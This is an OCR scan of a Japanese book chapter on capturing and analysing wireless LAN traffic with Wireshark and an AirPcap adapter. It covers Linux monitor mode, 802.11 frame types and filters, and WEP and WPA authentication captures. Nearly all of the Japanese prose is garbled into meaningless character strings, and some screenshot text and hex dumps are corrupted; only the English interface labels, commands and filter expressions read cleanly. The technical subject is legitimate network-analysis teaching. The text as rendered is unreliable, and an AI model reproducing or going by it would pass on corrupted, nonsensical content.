WIZBIDON—FY = 7 A BETT,

11.3.1 AirPcap D&%

AirPcap (CACE Technologies. 311 Riverbed 42T, http://www.cacetech.com/) 1 Windows
L CHEARLAN O3 MENT 24T 9 72 DI FF SN2 b O TF o AirPeap I3 IEFLLAN TO /37 v b
FXTF X DDICKFENIZUSB7 T v 2 F547TF (B11-5), AirPeapld3# THII L 72
WinPcap F7 A4 W& flioTHEY), HHOREWMAH) F T,

H11-5 AirPcaplda> /37 h T/ — hPC & —HEICEEBICHE B E UH ATAE

AirPcap D% E X F 7Y a v 34 O TIEFIZHH T3, B 11-6 D [AirPcap Control Panel] 7*
SUTOF Ty a AR ETHETT,

[Interface]
FXTF N TN AR BIRNTE L5, &R 24T 9 B 613, 85 o AirPeap %
flio THBOF ¥ VANV FAIFCE Y TF Y $HLERHILELH ) T3,

[Blink Led]
AirPcap D LED # Fig S F 3. ZOAEIZFIC, B D AirPcap ZflioTWnb L &2, &
NEFSTVBEDEIRT2ODHEDTT,

S
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R AirPcap Control Panel @JEI_IQ
Settings | Keys

Intertace

[A\rPcaD UISE wireless capture adapter nr. 00 '] [ Blink Led

Madel: AiPecap Tw Tranzmit: pes Media: 802,11 big

Bazic Configuration

Channel | 2462 kMHz [BG 11] - Include 80211 FCS in Frames

Extension Channel | 0

Capture Type | 802,11 + Radio > | FCSFiler | Al Frames n

|

W

11-6 AirPcapDXEARATOT L

[Channel]
Z 2T, AirPcap o THF ¥ 7F ¥ 35 F v VANV EEIRL T,

[Include 802.11 FCS in Frames]
OSIZ&->TiE, T7 4NV THMLAN ST v bOF 2 v 7 H ADORHBEDLE Y b2 LY v
TLEHIZEXRDHVET, ZDF v 7% AI1ZFCS (Frame Check Sequences) & F-ZILT
BY, EELTOLHICF =W L T anZ L2 HEET 27201 flibhtunEd, 4
WCHHE2AZRTIUE, F2v 2Ry 2 A%+ VIZLTCFCSTF =y 7220 LanwE 5L
FLi9o

[Capture Type]
[802.11 Only] & [802.11 + Radio] £ \9 220+ 7 arhdh 3, [802.11 Only] &
W F Ty a vid, BN 28021103 v hDAY FE XX TF T HEN) T ETY,
[802.11 + Radio] 1, 7— % O¥ikHE, B, B5 LNV /A ALV EELT Y
FE TN FEFx T T LET. AFTRATRTORMBERLOSNDL L HIZT 5720,
[802.11 + Radio] ##IRLFL L9,

[FCS Filter]
[Include 802.11 FCSin Frames] ®F = v 7Ry 7 ZA%F VIZLTWARLTH, TOF T3
YERAMILTBITIEFCSOF = v 712k 07— F IR L TWw 5 &I S i s v b
X714 Vv% s F9, [Valid Frames] 7Y a3 v &2+ 2123 UE, FCSOF v 712k ) 57—
FIIELL ZE SN LB SN b 0 FRENET,

S |
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[WEP Configuration]
Z Ol (AirPcap Control Panel ® [keys] ¥ 7H 5 &M fE) T, Fx 7 F v Lok
MLANOWEP ¥ —% AN L, WEPIZX o Tl L E N7 — 7 2 TEHLHICL T
Fo WEPF—IZoWTid, [11.8 MM LANDEF ) 74 ] THHL 5,

11.3.2 AirPcapZ{E>Tci\Ty b vIF +
AirPcap %4 Y A=V L Ci%sE L7z 5, Wireshark # #28) L T [Capture] — [Options] % IR L.
[Interface] 7*5 AirPcap 754 2% # IR L 4@ (B11-7) &

[l Wireshark: Capture Options &I@Jlﬂlﬂg
-Captur

Interface: “ﬂ\irPcap USE wireless capture adapter nr. 00: \\\airpcap00 o E]

IP address: unknown

Link-layer header type: ‘ 80211 plus radiotap header ‘ ( Wireless Settings ]

Capture packets in promiscuous mode Remote Settings ‘

Capture packets in pcap-ng format (experimental)
G 0 A L Buffer size: |1 Emegabyte(s]

Limit each packet to |1 = bytes
[Qaptule Filten] ‘ ‘B

rCapture File(s) rDisplay Options
| <
Atz ‘ ‘ [Erowse...] Update list of packets in real time

Use multiple files

Automatic scrolling in live capture

[V] Next file every 1 = |[megabyte(s) |~
[ Next file every 1 - | minute(s) i Hide capture info dialog
[7] Ring bufferwith |2 = files
(e [ rName Resolution
] Stop capture after |1 — file(s)

Enable MAC name resolution

rStop Capture ...
- after 1 -] packet(s) Enable network name resolution
... after 1l megabyte(s) -
e 1 e = Enable transport name resolution
e [
A J

M11-7 F+TFvT5182—T14RELT, AirPcap7/\1 X %B#IRT3

[Wireless Settings] &V &% Y PAMIREN-WEZEBWE T, COXRF 27 )vr$hE
AirPcap DFER 705 LA LA 7Y a vsgoRrENE T (R11-8). Wireshark i3 AirPcap & 5%
A SINTNB 720, AirPcap TRRETE 5 Z L1 Wireshark TR ETE 3,

T EIUE  REEFRL RO N Y 3 Y 1.8.0 TlE, 3EOWIE (R3-5) THMELZL)ICL—HF—1 5 —
T 2 A AN 5 TBY, [Wireless Settings] £\ K ¥ v SR 3-5DM{[i CTHEIRL 72T NA REFTTNIY) v o
35 L FREN LK 4-11 0 [Edit Interface Settings] 4 70 7 IfFFEL T3,

S |
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ﬁ Advanced Wireless Settings ﬂ

Interface

AirPcap USE wireless capture adapter nr. 00

~Basic P.
W L
Channel: 2462 [BG11] lz‘ Include 802.11 FCS in Frames
Channel Offset: 0 i

Capture Type: 802.11 + Radio lz‘ FC5 Filter:| All Frames lz‘

o ) mom ][ o

" T

11-8 [Advanced Wireless Settings] %1 707 Tl Wireshark 5 AirPcap DEREN TE 3

Al

RENTRTRD 5725, [Start] K7 Y EMLTST v b3 x 7 F v Z2BBLTLE S W,

11.4 Linux LTOERELANDINT Y bF v TFv

Linux TO/87 v M v 7 F v 1B EZDZ, BHRLAN S — F2 €=y —E—FIIT5Z LT
To REBVHEZY —FE—FIIEET L FMIIMMLAN 7 — FT LR L5720, 2T TZORD
TieHiWd b L3 TEEEA ERIAN I — FICE > TREFESAEL DL HVE T, THHD
fE LAN 7 — FIZDW T, Google TIRZ L TATLZE v,

Linux F CEMRIAN Y — FZ2E=9 —E—FIZEETLd o8 b MM % FEE, Linux ISP S
NTWALIEREEZ ) 2 & TY, iwconfiga~v ¥y Fa iz, BHILAN S —F2kETE Ty, 2~
V=) L CTiwconfigaFAT95 &, LTFTOL ) BiERICEDE T,

S iwconfig

eth0 no wireless extensions

1lo0 no wireless extensions

ethl IEEE 802.11g ESSID: "Tesla Wireless Network"

Mode: Managed Frequency: 2.462 GHz Access Point: 00:02:2D:8B:70:2E
Bit Rate: 54 Mb/s Tx-Power-20 dBm Sensitivity=8/0

Retry Limit: 7 RTS thr: off Fragment thr: off

Power Management: off

Link Quality=75/100 Signal level=-71 dBm Noise level=-86 dBm

Rx invalid nwid: 0 Rx invalid crypt: 0 Rx invalid frag: 0

Tx excessive retries: 0 Invalid misc: 0 Missed beacon: 2

iwconfig I~ ¥ FOMEREN S, 802.11g & V) EHMLAN 78 b I VIOV TOFERAFRRENT
W5 ethl M IANA ¥ 5 —T 24 A THBI ED DM T T, etho & 1o0 TIEMEMLANIZE 2
THAo

ethl L FIRENTVLITOTDIT2 RTL72E v, iwconfiga~ v FEETLTEONS K
LAN 7% — FOESSID (Extended Service Set ID) & ¥ Lo fEHi L & H 12, E— FA¥Managed

S
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THHEFRREINTVWET, INEFLTETLLENDHY T,
ethl#E=% —E—NIZELE T S5I2Idroot R VLEL DT, suad vy FCL—H—24LFHLZF
R

S su
Password: <rootD/NAT—K%&AH>

root 22U, ERIAN A —FOF T3 a v 2R ETAHAY Y NEF[TTHIENTEFE T, ethl
FEZY—F—RIZTAHIZIE, UTOa<wry FEEFLTLEE Y,

# iwconfig ethl mode monitor

EZY—FE—FICELHE L6, iwconfigad ) —EFEITLTEEEZAMIILET, UTDavy
Fa2FIT L TLZE W,

# iwconfig ethl up

iwconfig A Y FCTF ¥ Y ANZYNBEZ LI EHLTEET T, ethlDF v U AN ZE 3O ER
B2 UToawy FEEFLTLEE Y,

# iwconfig ethl channel 3

W N

STy R TF v ZLTVRBICHF v VY RILEYD BRI BT ENTEDDT, BE
. [CBUTEBLTL RSV ROUT MHES TLFER B R DBRICKITIBTENT
b xET,

ENHED 5725 Wireshark ZHEF L, X7 v by 7 Fy 2 BIG L TLE &0,

e

11.5 802.11DI\T v MEE

IR LAN E HFLAN O3 » hOsEWIE, 802.11NY FOHFIETT, ZOHE2[AY FIZIFF—7%
R D BARDOFEEE T TV T, 802.11 %% v MIIE3 DD 4 THH Y 7,

TRIADB
B2 THRAND AR ¥ a VBN T H7201ibN Ly b T, AT AL My
FOBTE A TN, BiE, 7YY= ay, E=a 3y B ET,
arsaA—-Jb
RATVAY Iy R TF—=Fry bERGE L, 23y PORBEHEZITVE T, —B%R
%7454 7% LTRTS (Request-to-send) & CTS (Clear-to-send) /37 v b2SH VD 97,
TF—4
EBOT— 5 2 HEATENT Y PT F I LAN 2> 5 4 i LAN Bz 15 25 1] 1§ 22 i — o) /%

S |
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ro S AT

802.117%7 v FOREIEIX, Ny bDOF A TEHT I L TOMAEDOEIZL>THRENFT T, HAS
DREPRYOEIZRY T3H, 22 Tid80211beacon.pcap 7 7 A VD8 v v T, ZDOEDO%
TAHAELII SOTT7ANVICE, E=Q2E0I)RA VAV Iy bOY U I EERTET
(®11-9).

[ 1 0.000000 D-Link Ob:22:ba Broadcast IEEE 80211 Beacon frame, SN=1352, FN=0, Flags=....., 1= 100/ o[ [ |

@ Frame 1: 132 bytes on wire (1056 bits), 132 bytes captured (1056 bits)
= IEEE B802.11 Beacon frame, Flags: ........

i) Type/Subtype: Beacon frame (0x08)
# Frame control: 0x0080 (Normal)
puration: 0
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
e)source address: D-Link_0b:22:ba (00:13:46:0b:22:ba)
BSS Id: D-Link_Ob:22:ba (00:13:46:0b:22:ba)
Fragment number: 0
Sequence number: 1352
E IEEE 802.11 wireless LAN management frame
E Fixed parameters (12 bytes)
Timestamp: 0x000000001685A181
Beacon Interval: 0.102400 [Seconds]
@ Capability Information: 0x0431
E Tagged parameters (96 bytes)
[ SSID parameter set
G’H Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) 6.0 12.0 24.0 36.0
DS Parameter set: current Channel: 11
@ Traffic Indication Map (TIM): DTIM O of 1 bitmap empty |
@ ERP Information: no Non-ERP STAs, do not use protection, short or long preambles il
@ Extended Supported Rates: 9.0 18.0 48.0 54.0 |
@ vendor specific: Atherosc
@ vendor specific: AtheroscC
@ vendor specific: Atherosc
@ vendor specific: Globalsu

GLLME0 00 00 00 ff ff ff T f r 00 13 46 0b 22 ba
0010 [[ERETRLL R FREEEE] 81 al 85 16 00 00 00 00
0020 64 00 31 04 00 05 54 45 53 4c 41 01 08 82 84 8b
0030 96 Oc 18 30 48 03 01 Ob 05 04 00 01 00 00 2a 01

0040 00 32 04 12 24 60 6c dd 09 00 03 7f 01 01 00 Qe

NANEN AN AN _Ad n- AN N3 7€ nJ N1 Nl AN AN NY -3 AN NN

11-9 80211E—22/¥Fy b

= VI LAN TOMBICB W Th o L b AL/ v POV ED TS, ¥—a X377 &2
RAVIDSF X v ANEFD5TO—=FFXx ATy P LTHEBEINL Ty M T T7EA
RA VMBI RELR 7 T4 7 ¥ M LT RIS EL/NT A= 5 2 ROR T 5700k F S E
Fo U TNTIE, T8y ME802.11 Ny ¥ D Type/Subtype T — I Y L EFKINTVWETO,

802.11 wireless LAN management frame ~\» #(2iZ. T OEH 2 &2 LBl G ThTn
SN

Timestamp
2Ny MASREAS SN IEA
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Beacon Interval
Y — a8y MR IS T TORIFE,
Capabilities Information
T 7B ARA Y bON—=F7 = TERRIZOWT DR,
SSID Parameter Set
T EARL VI TH=FFX AL TWASSID (v b7 —27%),
Supported Rates
T 7 RARA Y EHBYR—FLTWDB T — 5 Ofinkali,
DS Parameter
TIRARA VIBRTH=FFXY AL TWAET ¥ b,

Ay FIE BETLERLEDT FLARLR Y F = OO EIN 0TS,

INLHOBHMED LI, L= V2R ELTWET 7 EARS YV MIOWTR)DFERAE SN
F9, ZHUZ802.11bHHE (B) OIZ L A D-LinkftDF /34 2O T, F¥ ¥ ANV 110Q%flioTWn5bZ
LRI ET,

80211 A VA IR T v FOHERHMIZWAVAH Y FTHS, —BIAERIEZOF T
FLTY,

11.6 [Packet List] N1 VICEHELANDIEHRZENMT S

Wireshark @ [Packet List] R4 Y IZIZEH 6 2ODH T A03H ) F§, M4 LAN OFFNT %2 e~ o
LHIZ. [Packet List] XA 72232007 22 BMLTHBEEL L),

RSSI (Received Signal Strength Indication : Z{E{ESHE) H7T L
Fr 7T v LIy POBRIEAER RE) FromErRLET,
TX Rate (Transmission Rate) 715 A
XX TF X LNy bOTF— YR EEE R L E T,
Frequency/Channel 15 L
gL 3y MR SN Ty YAV ERLE T,
INOOHBHIERIAN TON G TV Y 2 =T 4 Y ZIZBVTRERIFICRSTLE ). LR
X7 94TV IWPEFOMENRAERLTVEE X, INHDON T ARHIUTERY N E S %tk
AEprehTcEET,
INSHDA T L% [Packet List] XA YIZFIREE DI, DT OFMHIIHES TSRS

1. A=a2—»5 [Edit] — [Preferences] Z3®#IR L 7,
2. [Columns] €27 ¥ a v ZFRLTC[AAd] X¥ %27y 7 LT,

S
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3. [Title] # T 2DFTF ARy 7 ZIZRSSIE AT L. TifiZdh % [Field type] Ka v 75 )
A NC [IEEE 802.11 RSSI] #3#IRL 9,

4. TX Rate & Frequency/Channel # 5 22O WTH A U FNHZ DK L, [Field type] K v 7
Fvr ) A MTENREN [IEEE 802.11 TX Rate] & [Channel/Frequency] Z#R L 3,
11-1013 L LD FIAZE #2728 & @ [Preferences] ¥4 70 7T,

5. [OK] K% v &7 )y 7 LTEREEZRTFLET,

6. Wireshark # FpE2EB L T LW A I 22 FR LT3,

-Columns

| | B User Interface
[The first list entry wil be displayed as the leftmost column - Drag and drop entries to change column order]

Layout

i Displayed Title Field type
Eont Time Time (format as specified)

| Colors Source Source address

Capture Destination Destination address

Printing Protacol Protocol

Name Resolution Frequency/Channel Frequency/Channel

Filter Expressions RSSI IEEE 802.11 RSSI

Statistics TX Rate IEEE 802.11 TX rate

Protocols Info Information
Properties:

e — =

{ QK H Apply H Cancel ]

H11-10 EFLANSEDIERERTRT 5 H5 L% [Packet List] X1 SBT3 (S—2321.8.0)

11.7 BHRLANKBBODI 1LY

74V EOERMEICOVTIZATETHW L ¥ L7z AR LAN Tl BEHEZEICLAN 7 — 7V H3 i
PCVB72D, F¥TF XY LTy bOAREF v TF ¥ $T5 74NV T IXMHHRIMELZ L TEEL
720 LLBAS, MARLAN CTIIBESRIC L > THRETZ2TRTONT 7 4 v 7 53F ¥ ¥ AV FICHAT
LTBEY 1D2DF ¥ v ANV aFX XY TF ¥ THESETSERRBONT 74 v 7 MR L7ZIE Ciisk S
NET, 22TE BODKRDLTr v bOAE X TF v TELIIBRTANTDEN T2 TE T,

S
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11.71 ®\EDBSSIDTI s IVHUVI

M LAN EO &7 72 AR A » MZik, BSSID (Basic Service Set Identifier) & FHEN 2 B4 D
W TAEY B TOENTOES, T7EARS VIPRETHERLANDOT AV A Y My e F—
8%y bOHRIZIE, SOAFREINTHE T,

AMFL &9 & LTV B BSSID 2 hh UL, HEEZFDT 7B ARL VDO REBEENL Ny I %
R %5727 T9 5 Wireshark Tld. [Packet List] XA > ® [Info] # 7 LT v bEEFELTW5S
T RARAL VI ERFIRLTNETOT, HO X7 v M RO 3o TL L I,

FENT L72WEERRLAN O T 7 2 AR U I HREIN TV A8 v bE D725, 802.11~Av 5
AOBSSID#FERALEL &) 0 SN TANTDIEARELRLT FLATYT, BSSIDOMACT L 2
PHERTELS, ROXI T4V 22 ET,

wlan.bssid.eq 00:11:22:33:44:55:66

INTIDT 7 EARL VIERHTAN I T4 9 7 DAEFFX TF X ENLIHITHEDFET,

11.7.2 Koy FIDT 1 ILFVUID

COFEORM T, EHLAN O3 v MIIWLKDOD0DI A4 THHAH L) T E2HMLE L, 2
NEDIT AL TRV TIALTIZE TN Y e TANI) UV I T LI ENLELERLZEDHLNWTL L
Vo A TIZDOWTdwlandc.type. ¥4 7L W75 4 T2 MA A bE LA X welc.type_subtype
LV TANT M) TENTEE T, 2L ZIENULLF— 4787 v b (1688 TY (1 72, H7 54
TADNT b)) BT 40V F LizwEiA, wlanfc.type_subtype eq 0x24 &\ ) 74V F WA T &
NTEFET BRLAND ST v by 4 TEHTIALTTT AN THBEILEIL L L EbNE T 4
VEERI-1IRLET,

11.7.3 RARABICEDT1ILY

BEOF X ANPLONRry v e b 74y 72 iET 5L &1E, Fr vy AL T 4V
THIERWIETBET, ZEAEF XY ANLE6UIDIT T4 v 7 DHoTELL RV EW) BHE
L FFTUF Y ANTRCDI T TA Y I RFRTDHEIITANIZREL, ZD2ODF v ¥ %
WUSTE T 7 4 v 7B EO»IUL, BE I ADBEREHEORE R L, MArMEzH L L) LI
HOET BBEBHNI 7 AVE 247120 RO LD GRELEZ VT T,

radiotap.channel.freq == 2412

CNETF Y Y ANVIDTRTDN T T4y 72 FRLE T, 24120 %2 H O P EITE 2 R, 13
WDOF X Y INVIHTETANY ZIT2E T RI1-2IEEEF vV ANVOREHO—ETY,
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F11-1
BAT /Y TEAT

BIRLANDZA T /YT 2ATERICT BT 1V E2—8

RAVAVITL—2A

Y =)V 7L —A

T—=F 7L —2A

7V T — 3 a %R (Association request)
7V I —avin% (Association response)
H7vyr—a R (Reassociation request)
B7vyr—1aring (Reassociation response)
70— 733K (Probe request)

7a— 7% (Probe response)

E=TFY

74 A7V T —1 (Disassociate)

%+ —+% 7 4% —3 a3~ (Authentication)
F*—+t 514 —3 3 (Deauthentication)
72 ¥ a v 7L —2A (Action frames)

71y 7 ACK %3k (Block ACK requests)
7u vy 27 ACK (Block ACK)

PS-Poll (Power save poll)

RTS (Request to send)

CTS (Clear to send)

ACK

CF-End (Contention free period end)

NULL 7—#% (NULL data)

QoS ¥— % (QoS data)

Null QoS 7 — % (Null QoS data)

| 71V 218X

wlan.fc.type eq 0

wlan.fc.type eq 1

wlan.fc.type eq 2
wlan.fc.type_subtype eq 0x00
wlan.fc.type_subtype eq 0x01
wlan.fc.type_subtype eq 0x02
wlan.fc.type_subtype eq 0x03
wlan.fc.type_subtype eq 0x04
wlan.fc.type_subtype eq 0x05
wlan.fc.type_subtype eq 0x08
wlan.fc.type_subtype eq 0x0A
wlan.fc.type_subtype eq 0x0B
wlan.fc.type_subtype eq 0x0C
wlan.fc.type_subtype eq 0x0D
wlan.fc.type_subtype eq 0x18
wlan.fc.type_subtype eq 0x19
wlan.fc.type_subtype eq 0x1A
wlan.fc.type_subtype eq 0x1B
wlan.fc.type_subtype eq 0x1C
wlan.fc.type_subtype eq 0x1D
wlan.fc.type_subtype eq 0x1E
wlan.fc.type_subtype eq 0x24
wlan.fc.type_subtype eq 0x28
wlan.fc.type_subtype eq 0x2C

F£11-2 EEF v 3IVERRE

Fx R | Bk

1 2412
2417
2422
2427
2432
2437
2442
2447
2452
2457
2462

© 0 N S Ul W N

—
(=]

—
—

WRILAND NS 749 7T AER G 7ANVY RIEEHVET T TFY T7ANIDOH VT
JVid http://wiki.wireshark.org/ ® Wireshark Wiki Z 28 L T 72 &\,

S
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11.8 ERLANOEF+a1VU5F«

MM LAN Z B, S5 2 L EORKOBEN, BMETLT—F0tF2) 74T, T—F L%
FERATHLZ2D, RV HE 2 Mo TOIUTHETH HIHICHE TX 30T, 7— 7 OB 5{LA
PIHTT o B b SN Tniniia, Wireshark & AirPcap 7 — FEX 2 H UL, #ECTHTF—FH RS
0Ty,

W N
<% SSLPSSHIEEDFIDEDESLEES & 5T 4 v I BZOBTEES{LENDE
W 4. DI T-OBEREE T Y MY IF YL THROTEFTEE B A

TSN

"

MARIANTEF 27T =7 2R ET D HEL L THMILLMEDNR TV 200, WEP (Wired
Equivalent Privacy) ##%& T3 WEP IR 5 ¥ — DB EICWL OO MBI R ENL T T, #
FICDZoTHIBREDENYZRETHAE LA, £F 2V T AWM LD, Bz B %K E
SNF L7, €10SWPA (Wi-Fi Protected Access) & WPA2BIKE T3, WPAR, LD tF 271
7572 WPA2IZ B K NIEH Y 395 WEP XD IXIEAMICEET, FHEMASLEZ2 5 TwE
R

COHETIEWEPBLUWPAD T 7 4 v 7R, BIEORBB % HTwEE7,

11.8.1 WEPSDRELH

7 7 4 )V 80211-WEPauth.pcap 121&. WEPH A %) % BAR LAN O RO B Bl 25 & F T F
To COEBMIANDELF 21) 7413, WEPF—CTHREINTVE T, BRI LT, KEiksh
T =5 RZET 5D, TR ARL Y MIETLENDH LD OWEPF—T7, MEHLAN
DSAT—=FEEZ NI TL L),

R11-11ISRLTWB X, F¥ T Fv 774 MET 7 £ AEA ¥ b (00:11:88:6b:68:30) 5 2
547 b (00:14:a5:30:b0:af) 12, 4FHD/S7 y FTFX LY IVDRREEEND EZAHADLIBT->TW
F5@. 7547V IOWEPF—HIELWOE ) D EMERT HONF ¥ Ly YOHIYTT, FyvL v
Vi, 802.11 vy ¥ % B L C Tagged parameters # Sl 3% Ll C&E £ 9,
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[ 4 0.001625 Enterasy_6b:68:30 GemtekTe_30:b0:af IEEE 802.11 Authentication, SN=1388, FN=0, Flags=.......

[FORIEN [P=N I )

Frame 4: 160 bytes on wire (1280 bits), 160 bytes captured (1280 bits)
IEEE 802.11 Authentication, Flags: ........
B IEEE 802.11 wireless LAN management frame

= Fixed parameters (6 bytes)

Authentication Algorithm: shared key (1)

| Authentication SEQ: 0x0002
I status code: successful (0x0000)
= Tagged parameters (130 bytes)

Tag Number: 16 (Challenge text)
Tag length: 128

Tag interpretation: challenge text: D4ABB116FS5B6C6CF1EC74B95A5389E7D341CC3DB7A2FIFI5. ..

kho.v .

HM11-11 PIRARA DD TISATUMIF v Lo TUHEEEINTNS

Fr Ly IRS5FEHD/ 7 v FTACK fTbNE T, 7547 v M3, WEPF—%flio TR 5L
NeFrLyPo7rFA b5 0, R11-120X ) IV ARV AL LTT 7 ARS V MOEHILF

gL B

£ IEEE 802.11 Authentication, Flags: .p......
Type/subtype: Authentication (0x0b)
@ Frame Control: 0x40B0 (Normal)
puration: 314
pDestination address: Enterasy_6b:68:30 (00:11:88:6b:68:30)
I source address: GemtekTe_30:b0:af (00:14:a5:30:b0:af)
BSS Id: Enterasy_6b:68:30 (00:11:88:6b:68:30)
Fragment number: 0
sequence number: 43
[# WEP parameters
= Data (147 bytes)
o Data: FC124E1E4B5588E122F358F756B95861121EC74E4DD09934. ..
[Length: 147]

j
[ 6 0.001751 GemtekTe._30:b0:af Enterasy_6b:68:30 IEEE 802.11 Authentication, SN-ASPENE [E=RE=—)

@ Frame 6: 179 bytes on wire (1432 bits 79 bytes captured (1432 bits)

K11-12 9747 MBS LAEF AL DT I RS2 MORAT S

Oy METHEHO/ y NTACK b, 7272 ARL Y MIR11-13D X HI28FH D3
T RNCTIZIAT YV MIVARY AZBRILE T, VARV AIEREGFALB AL D) L7z & v ) @

ﬁiﬂfV‘ia‘OO
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P
[ & 0.002751 Enterasy_6b:68:30 GemtekTe_30:b0:af IEEE 802.11 Authentication, SN=1389, FN=0, Flags=...... @@ EI&E

Frame 8: 30 bytes on wire (240 bits), 30 bytes captured (240 bits)
IEEE 802.11 Authentication, Flags:
= IEEE 802.11 wireless LAN management
E Fixed parameters (6 bytes)
Authentication Algorithm: shared key (1)
Authentication SEQ: 0x0004
Status code: Ssuccessful (0x0000) o

rame

0000 bO 00 3a 01 00 14 a5 30 b0 af 00 11 88 6b 68 30 ..:....0 ..... khO
0010 00 11 88 6b 68 30 dO 56 [ENUNIIAENIY .. .kho.v IS
§ )

1113 FTIRXRA LM ITAT UMD RN L= EEIEATVD

FEERIIT A E, 2 IAT U MIT VI — Vg v ERERE L, ACKDOZER. EHLANIC
BelLEd (B11-14)

No. Time Source Destination Protocol Channel Info
10 0.000876 GemtekTe_30:b0:af  Enterasy 6b:68:30  IEEe 802.11 Association Request, sN=44, FN=0, Flags=........, SSID="DENVEROFFICE"
11 0.000374 IEEE 802.11 Acknowledgement, Flags=........
12 0.002627 Enterasy_6b:67:28  Broadcast IEEE 802.11 Data, SN=1390, FN=0, Flags=.p.
13 0.000624 Enterasy_6b:68:30  GemtekTe_30:b0:af  IeEe 802.11 Association Response, SN=1391, FN= o Flags=..
14 0.000374 IEEE 802.11 Acknowledgement, Flags=........
15 0.683813 GemtekTe_30:b0:af  Enterasy 6b:68:30  IEEe 802.11 Null function (No data), sN=45, FN=0, Flags=.
16 0.000098 IEEE 802.11 Acknowledgement, Flags:
17 0.000053 GemtekTe_30:b0:af  Broadcast IEEE 802.11 Data, SN=46, FN=0, Flags=

H11-14 FBEDMIBIIEMAETY I -3 BRETYII—L 3 ibBIlE->TiIThh3

11.8.2 WEP:ERIIDKEK 80211-WEPauthfail.pcap
ROV TNV Tld, =W =277 v AKRA ¥ MR T B72DICWEPF—%2 AT L7200,
BRI AT VDI —=T 4 ) T APBHHEDIS LA ER TE Rho7z b i LTETVWET,
ZFDLE D7 74 IVH80211-WEPauthfail.pcap T3
B Lz L ik, S2TOT7 78 ARA VI3 FEHONNF Yy T IA TV MIF YL Y
ERETLHEZADOHE>TVWET, STTACKD T rbI, 7547 ¥ MISHFEHD /7 v T
WEP#~%¢:1§0“(vx#ﬁyx%i’ifﬂbfuxiﬁ“o
ARIF T T TRIECEI L&) @& Z TSI TTAS 7HH O/ v MIE#E S NED
R2E7@ (R11-15),

2

[ 70.001125 Enterasy_6b:68:30 GemtekTe_30:00:af IEEE 802.11 Authentication, SN=611, FN=0, Flags=...... (o Bl . [
@ Frame 7: 30 bytes on wire (240 bits), 30 bytes captured (240 bits)
& IEEE 802.11 Authentication, Flags: ........
= Fixed parameters (6 bytes)
Authentication Algorithm: unknown (58901)
Authentication SEQ: Ox884c
status code: Received an Authentication frame with authentication sequence transaction sequence number out of expected sequence (0x000e)

0000 b0 00 3a 01 00 14 a5 30 bo af 00 11 88 0068 30 0 kho
0010 00 11 88 6b 68 30 30 26 NENEIEIENT - .kh0o&

X11-15 FRREICKBIL/=EWD Xyt —3
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A9l —TI2E, FrL oI T2 34T VROV ARV APIELL ZWEHY T, Thid>
IO, 24T VIR F YL YTV TFRANDEFIME 72 WEP F — D3 o Tz 7203k I Rl L
2R ERLET, IELWWEP F — CHESERZ RAZTIUIRD) T A,

11.8.3 WPASRSEDR
WPAIZWEP & 13 F 57 R4 2385 Z VTV E 3%, #HtiICF — AN %KD 2 HEFE LT
T 774 80211-WPAauth.pcap {2 WPAFLFED I H ) 97
T 7 ANDBRPD/Nr Y ME, T2 XARL Y IPHLOE =TT, 2Oy b0 80211~ 5
R LT, B11-16 ® X 9 12, Tagged parameters 17 ® F 23 % Vendor Specific 7% JEF L T A
FLi)o TZEARA Y FOWPADO RIS 2HHB B TELZTTT@, ZHUIL->TT 2
T ARA Y IPWPAZHFR—FLTWVEI LR, FHR=FLTWEN=V gy, EEFDPYET,

~
- 1 0.000000 Metgear_7e:40:80 Broadcast IEEE 802.11 Beacon frame, SN=266, FN=0, Flags-=......, BI=100, MJ[‘:’_'I&M

@ Frame 1: 109 bytes on wire (872 bits), 109 bytes captured (872 bits)
@ IEEE 802.11 Beacon frame, Flags: ........
= IEEE 802.11 wireless LAN management frame
@ Fixed parameters (12 bytes)
= Tagged parameters (73 bytes)
[ S55ID parameter set
@ Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) 6.0 12.0 24.0 36.0
# D5 Parameter set: current Channel: 9
@ Traffic Indication map (TIM): DTIM 0 of 1 bitmap empty
# ERP Information: no Non-ERP 5TAs, do not use protection, short or long preambles
# Extended Supported Rates: 9.0 18.0 48.0 54.0
Tag Number: 221 (vendor Specific)
Tag length: 22
vendor: Microsof
Tag interpretation: WPA IE, type 1, version 1
Tag interpretation: Multicast cipher suite: TKIP
Tag interpretation: # of unicast cipher suites: 1
Tag interpretation: Unicast cipher suite 1: TKIP
Tag interpretation: # of auth key management suites: 1
Tag interpretation: auth key management suite 1: PSK
@ vendor Specific: AtheroscC

0030 96 Oc 18 30 48 03 01 09 05 04 00 01 00 00 2a 01
0040 00 32 04 12 24 60 6C 16 00 50 ¥2 01 01 00 0O
[vhLT/ S0 T2 02 01 00 00 50 f2 02 01 00 00 50 f2 OZJGEG
0060 Oc 00 03 7t 02 01 01 00 00 02 a3 00 00

4

C J

H11-16 E—2UlLoTT7IERAFRA L M WPARRREE YR — FLTWBZ EVFERB CE D

V—ar#%E75L. 27547 b (00:14:6¢:7e:40:80) 137 7 £ AR A 1 (00:0f:b5:88:ac:82)
7O —TEREREEB L, R LTT 7 AR, V70— T IE 2TV E T AFHPS 7%
Hosr o MGy JRGE 7Yy —2a vESREINEMTbE 3,

BHHDNNT v M HVAVA LI ENKENFE T, STTWPANY NV A4 7 2%R%E D, 113%H
DTy FNETHRET T, B11-17TBOLRYD LI, WPADF ¥ L Y I VARV AN ONY R
YA 7 UETITbE T,

S
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MNo. Time Source Destination Protocol Channel Info
& 0.004096 Netgear_7e:40:80 Netgear_88:ac: 82 EAPOL Key

9 0.004101 Netgear_88:ac:82 Netgear_7e:40:80 EAPOL Key

10 0.003580 Netgear_7e:40:80 Netgear_88:ac: 82 EAPOL Key

11 0.000004 Netgear_88:ac:82 Netgear_7e:40:80 EAPOL Key

1117 Zh5D/Nry MIWPANSRY 21 &R T S

MEELE, FY LIy TEVARYAPR2DTOH Y $ 3755 802.1x Authentication Ny ¥ DT D
Replay Counter 7 1 =V RICL 5T, FX¥ LV I L LARY ZAFHT R o T ET (K11-18)0 A
D2ODNY Ry x4 773 v bDReplay Counterftild 1@, IRD2DODNY N =4 773y Ol
32@12%>TWET,

[ 80004096 Netgear_7e:40:80 Netgear_88:ac:82 EAPOL Key @ @)= B % ||g100003580 Netgear_7e:40:80 Netgear_88:ac:82 EAPOL Key wlefl=[a]
@ Frame 8: 131 bytes on wire (1048 bits), 131 bytes captured (1048 bits) @ Frame 10: 155 bytes on wire (1240 bits), 155 bytes captured (1240 bits)
